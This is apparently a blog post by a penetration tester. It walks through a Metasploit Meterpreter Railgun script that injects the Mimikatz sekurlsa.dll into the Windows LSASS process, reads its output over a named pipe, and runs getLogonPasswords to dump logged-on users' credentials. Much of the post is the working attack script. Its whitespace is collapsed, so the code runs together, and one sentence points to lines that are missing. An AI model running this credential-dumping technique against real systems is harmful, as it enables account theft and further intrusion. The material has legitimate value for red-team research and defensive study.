One of the powers of Metasploit is it’s ability to stay memory resident. Through the use of reflective DLL injection even keeping new functionality the attack loads from ever touching disk. Well, the first thing I wanted to do with Mimikatz is get to that same level.
Here is my first step to that end; a railgun based Meterpreter script. Now before going all reflective with it I needed to understand how the DLL worked. Thankfully @gentilkiwi stepped in and stopped my head from getting bloody. In this first step we will be removing the need for the mimikatz.exe binary, still needing the DLL to be uploaded, but we’ll get there in the subsequent posts.
Ignore the do_cmd for now and I stepped through remote DLL injection here. So the first odd lines is
Essentially these connect to the Named Pipe that the sekurlsa.dll uses to talk to the mimikatz.exe in it’s normal operation. Then we just use the windows API call “ReadFile” from there on out.
One of the draw backs to doing this all remotely is that Railgun doesn’t have the memory management insight like the Windows OS does. Being able to know when pipes are ready to be read or written to is a bit of a challenge and the call hangs your IRB / meterpreter session if you get it wrong. I’ve overcome this for the initial “banner” that sekurlsa writes by knowing the exact length (248 bytes in this case) of the text. For subsequent commands like “ping” and “getLogonPasswords” I simply have to read one character at a time, which is a slow process but removes any chance of getting hung. (Two bytes for every Unicode character)
If you have any questions on how/why this works or have a better way please leave your comments and questions below or hit me up on twitter!
defdo_cmd(handle,cmd)ucommand=Rex::Text.to_unicode(cmd)sendcmd=client.railgun.kernel32.WriteFile(handle,ucommand,ucommand.size,4,nil)good2go=falsenewline=falsereadstring=[]whilegood2go==false# Have to pull data 1 unicode character at a time# this is because the pipe won't write or read if# too much was written or read by the "client" (us)pull=client.railgun.kernel32.ReadFile(handle,2,2,4,nil)# Check to see if our end of read check is there: n000 @00ifpull['lpBuffer']=="@00"andnewline==truegood2go=trueelsereadstring<<pull['lpBuffer']end# Ready the newline var for previous check on next loopifpull['lpBuffer']=="n00"newline=trueelsenewline=falseendendprint_status(readstring.join(""))endprint_status("x86 Detected - Using x86 mimikatz")handle=client.railgun.kernel32.CreateNamedPipeW('\\\\.\\pipe\\kiwi\\mimikatz','PIPE_ACCESS_DUPLEX','PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT',1,0,0,30000,nil)['return']print_status("Handle: #{handle}")framework.threads.spawn('injectlsass',false){pid=client.sys.process['lsass.exe']print_status("LSASS located at PID: #{pid}")pathtomimi="C:\\sekurlsa.dll"pay=client.framework.payloads.create("windows/loadlibrary")pay.datastore["DLL"]=pathtomimipay.datastore["EXITFUNC"]='thread'raw=pay.generatetargetprocess=client.sys.process.open(pid,PROCESS_ALL_ACCESS)mem=targetprocess.memory.allocate(raw.length+(30024))targetprocess.memory.write(mem,raw)sleep(2)targetprocess.thread.create(mem,0)print_status("Successfully Injected into LSASS")}print_status("Waiting for LSASS injection to complete")connectedlsass=client.railgun.kernel32.ConnectNamedPipe(handle,nil)print_status("Mimikatz has called home, ready for command")sleep(2)print_status("Reading banner")client.railgun.kernel32.ReadFile(handle,248,248,4,nil)print_status("Doing a quick ping to make sure things are working...")do_cmd(handle,'ping')print_status("If you made it this far it worked, doing getLogonPasswords")do_cmd(handle,'getLogonPasswords')